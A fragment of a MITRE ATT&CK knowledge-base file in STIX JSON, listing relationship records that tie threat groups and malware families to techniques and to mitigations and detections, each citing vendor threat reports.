"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac440832-cb04-409e-87fa-558097a898b6", "type": "relationship", "created": "2020-06-12T12:24:14.131Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-06-18T11:45:36.774Z", "description": "Routinely check user permissions to ensure only the expected users have the capability to create new instances.", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ac47da26-22ae-43b9-947b-ed4ea6943d42", "created": "2022-03-23T16:57:13.648Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Qualys LolZarus", "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns", "description": "Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022."}, {"source_name": "Lazarus APT January 2022", "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used shellcode within macros to decrypt and manually map DLLs and shellcode into memory at runtime.(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)", "modified": "2022-08-23T15:29:06.074Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac4beabf-1644-4386-b34a-ebfc6e3bd3b0", "type": "relationship", "created": "2020-10-14T22:00:11.515Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Amazon AWS IMDS V2", "url": "https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/", "description": "MacCarthaigh, C. (2019, November 19). Add defense in depth against open firewalls, reverse proxies, and SSRF vulnerabilities with enhancements to the EC2 Instance Metadata Service. Retrieved October 14, 2020."}], "modified": "2022-03-08T21:37:23.808Z", "description": "Disable unnecessary metadata services and restrict or disable insecure versions of metadata services that are in use to prevent adversary access.(Citation: Amazon AWS IMDS V2)", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac4e0574-879e-4155-84ed-5b2d8be0b603", "type": "relationship", "created": "2019-04-22T18:35:20.097Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire"}], "modified": "2021-04-09T14:53:15.824Z", "description": "[Empire](https://attack.mitre.org/software/S0363) can use Dropbox and GitHub for C2.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac5089b3-db8b-401d-924d-76e35bce7e9c", "type": "relationship", "created": "2019-09-16T19:41:10.153Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Security Intelligence More Eggs Aug 2019", "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/", "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."}], "modified": "2020-03-20T18:16:35.500Z", "description": "[More_eggs](https://attack.mitre.org/software/S0284) has used basE91 encoding, along with encryption, for C2 communication.(Citation: Security Intelligence More Eggs Aug 2019)", "relationship_type": "uses", "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac53cb36-9471-4ea0-8316-42d97f84956f", "type": "relationship", "created": "2020-01-30T14:40:20.626Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-30T14:40:20.626Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0", "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac5693ea-3d10-47bd-b91b-a65177dd5462", "type": "relationship", "created": "2021-04-07T18:07:47.888Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Hildegard Malware", "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}], "modified": "2021-04-07T18:07:47.888Z", "description": "[Hildegard](https://attack.mitre.org/software/S0601) has decrypted ELF files with AES.(Citation: Unit 42 Hildegard Malware)", "relationship_type": "uses", "source_ref": "malware--40a1b8ec-7295-416c-a6b1-68181d86f120", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac5925ff-04f9-416e-b83b-d70392ef9282", "type": "relationship", "created": "2022-01-25T15:33:50.053Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT35 CharmPower January 2022", "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/", "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}], "modified": "2022-01-25T15:33:50.053Z", "description": "The C# implementation of  the [CharmPower](https://attack.mitre.org/software/S0674) command execution module can use <code>cmd</code>.(Citation: Check Point APT35 CharmPower January 2022)", "relationship_type": "uses", "source_ref": "malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ac5bf8d9-900b-4aa4-8f97-81566666cd26", "created": "2022-07-07T14:48:50.995Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft POLONIUM June 2022", "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/", "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CreepyDrive](https://attack.mitre.org/software/S1023) can download files to the compromised host.(Citation: Microsoft POLONIUM June 2022)", "modified": "2022-07-25T16:17:23.360Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--750eb92a-7fdf-451e-9592-1d42357018f1", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac5c1601-ee79-4d9e-b702-bf1771ee02ef", "type": "relationship", "created": "2021-04-13T19:29:21.062Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks BRONZE PRESIDENT December 2019", "url": "https://www.secureworks.com/research/bronze-president-targets-ngos", "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}, {"source_name": "Recorded Future REDDELTA July 2020", "url": "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf", "description": "Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP \u2018REDDELTA\u2019 TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."}, {"source_name": "McAfee Dianxun March 2021", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf", "description": "Roccia, T., Seret, T., Fokker, J. (2021, March 16). Technical Analysis of Operation Dianxun. Retrieved April 13, 2021."}], "modified": "2021-04-13T21:46:06.130Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) have acquired C2 domains prior to operations.(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Recorded Future REDDELTA July 2020)(Citation: McAfee Dianxun March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac603ee0-cb62-4ad5-852a-29b70b225c5f", "type": "relationship", "created": "2022-03-26T03:47:59.075Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mythc Documentation", "url": "https://docs.mythic-c2.net/", "description": "Thomas, C. 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Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Diavol](https://attack.mitre.org/software/S0659) has Base64 encoded the RSA public key used for encrypting files.(Citation: Fortinet Diavol July 2021)", "modified": "2022-04-15T00:28:31.640Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ac612e35-03c6-4b14-9348-dea8119c593a", "created": "2019-09-23T23:14:16.675Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. 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(2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}], "modified": "2020-03-18T19:36:51.026Z", "description": "[Bankshot](https://attack.mitre.org/software/S0239) gathers domain and account names/information through process monitoring.(Citation: McAfee Bankshot)", "relationship_type": "uses", "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac6f5587-f6ae-4178-bc34-c2d4a30b305b", "type": "relationship", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.865Z", "description": "Monitor executed commands and arguments arguments for actions that could be taken to collect and combine files. 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(2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}], "modified": "2021-01-06T16:56:56.331Z", "description": "[SUNBURST](https://attack.mitre.org/software/S0559) masqueraded its network traffic as the Orion Improvement Program (OIP) protocol.(Citation: FireEye SUNBURST Backdoor December 2020)", "relationship_type": "uses", "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac72c3da-6b58-4f66-8476-8d3cc9ccf6bd", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Backdoor.Mivast", "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.", "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2"}], "modified": "2020-03-25T16:03:27.015Z", "description": "[Mivast](https://attack.mitre.org/software/S0080) has the capability to gather NTLM password information.(Citation: Symantec Backdoor.Mivast)", "relationship_type": "uses", "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3", "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac772e5c-ef7b-433a-bc12-4125635699b1", "type": "relationship", "created": "2020-11-08T23:47:39.817Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}], "modified": "2020-11-08T23:47:39.817Z", "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can harvest data from mail clients.(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac773743-8f22-4193-a2de-b562e7a13709", "type": "relationship", "created": "2021-06-29T15:19:53.156Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}], "modified": "2021-06-29T15:19:53.156Z", "description": "[RainyDay](https://attack.mitre.org/software/S0629) has the ability to capture screenshots.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--29231689-5837-4a7a-aafc-1b65b3f50cc7", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac77f5ac-4a6e-4c58-a596-5e9aa6f00ff7", "type": "relationship", "created": "2021-04-12T20:07:50.387Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Anomali MUSTANG PANDA October 2019", "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."}, {"source_name": "Recorded Future REDDELTA July 2020", "url": "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf", "description": "Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP \u2018REDDELTA\u2019 TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."}, {"source_name": "Proofpoint TA416 November 2020", "url": "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader", "description": "Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021."}], "modified": "2021-04-13T20:27:52.339Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used a legitimately signed executable to execute a malicious payload within a DLL file.(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Recorded Future REDDELTA July 2020)(Citation: Proofpoint TA416 November 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac7a8c0c-bdbc-4ed5-91f9-b00212fe7189", "type": "relationship", "created": "2021-07-16T19:28:57.130Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Group IB GrimAgent July 2021", "url": "https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer", "description": "Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021."}], "modified": "2021-07-16T19:28:57.130Z", "description": "[GrimAgent](https://attack.mitre.org/software/S0632) can identify the country code on a compromised host.(Citation: Group IB GrimAgent July 2021)", "relationship_type": "uses", "source_ref": "malware--c9b99d03-ff11-4a48-95f0-82660d582c25", "target_ref": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac7af437-b8ff-4b43-af49-841a391f104c", "type": "relationship", "created": "2022-03-30T14:26:51.860Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.860Z", "description": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)", "source_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", "target_ref": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CounterCept PPID Spoofing Dec 2018", "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.", "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac7d5b88-7929-4f64-abcd-8219caafac24", "type": "relationship", "created": "2017-05-31T21:33:27.072Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", "source_name": "FireEye FIN6 April 2016"}, {"source_name": "Trend Micro FIN6 October 2019", "url": "https://www.trendmicro.com/en_us/research/19/j/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops.html", "description": "Chen, J. (2019, October 10). Magecart Card Skimmers Injected Into Online Shops. Retrieved September 9, 2020."}], "modified": "2020-10-09T13:28:48.437Z", "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used a script to iterate through a list of compromised PoS systems, copy and remove data to a log file, and to bind to events from the submit payment button.(Citation: FireEye FIN6 April 2016)(Citation: Trend Micro FIN6 October 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac85daf7-c5ee-4f53-8ed8-0049ac7cc6e9", "type": "relationship", "created": "2021-03-02T18:16:41.052Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AppleJeus Feb 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."}], "modified": "2021-03-03T20:26:15.939Z", "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has created a scheduled SYSTEM task that runs when a user logs in.(Citation: CISA AppleJeus Feb 2021)", "relationship_type": "uses", "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac88262c-e14d-4f52-a5df-bbddc6d5c1bc", "type": "relationship", "created": "2020-05-15T15:04:34.092Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-27T23:35:41.405Z", "description": "[ShimRat](https://attack.mitre.org/software/S0444)'s loader has been packed with the compressed [ShimRat](https://attack.mitre.org/software/S0444) core DLL and the legitimate DLL for it to hijack.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac89c5e2-ade5-4889-a905-7dbe835ff5fd", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Pasam May 2012", "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"}], "modified": "2020-03-30T17:20:41.552Z", "description": "[Pasam](https://attack.mitre.org/software/S0208) establishes by infecting the Security Accounts Manager (SAM) DLL to load a malicious DLL dropped to disk.(Citation: Symantec Pasam May 2012)", "relationship_type": "uses", "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", "target_ref": "attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ac8ba4ea-f9dc-4d0c-85d9-0df3041fd304", "type": "relationship", "created": "2019-06-18T17:20:43.787Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black JCry May 2019", "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/", "description": "Lee, S.. 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Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. 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One version of [Helminth](https://attack.mitre.org/software/S0170) uses batch scripting.(Citation: Palo Alto OilRig May 2016)", "relationship_type": "uses", "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--acd25956-0e08-4643-a121-33f20eb4b24c", "type": "relationship", "created": "2020-07-16T15:23:48.581Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ForSSHe December 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}], "modified": "2020-07-16T15:23:48.581Z", "description": "[Kessel](https://attack.mitre.org/software/S0487) has exfiltrated information gathered from the infected system to the C2 server.(Citation: ESET ForSSHe December 2018)", "relationship_type": "uses", "source_ref": "malware--c984b414-b766-44c5-814a-2fe96c913c12", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--acd4512e-3ef7-4c33-9fc1-c3829efebe60", "type": "relationship", "created": "2020-03-16T14:56:19.332Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-20T20:10:26.699Z", "description": "Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs. ", "relationship_type": "mitigates", "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", "target_ref": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": 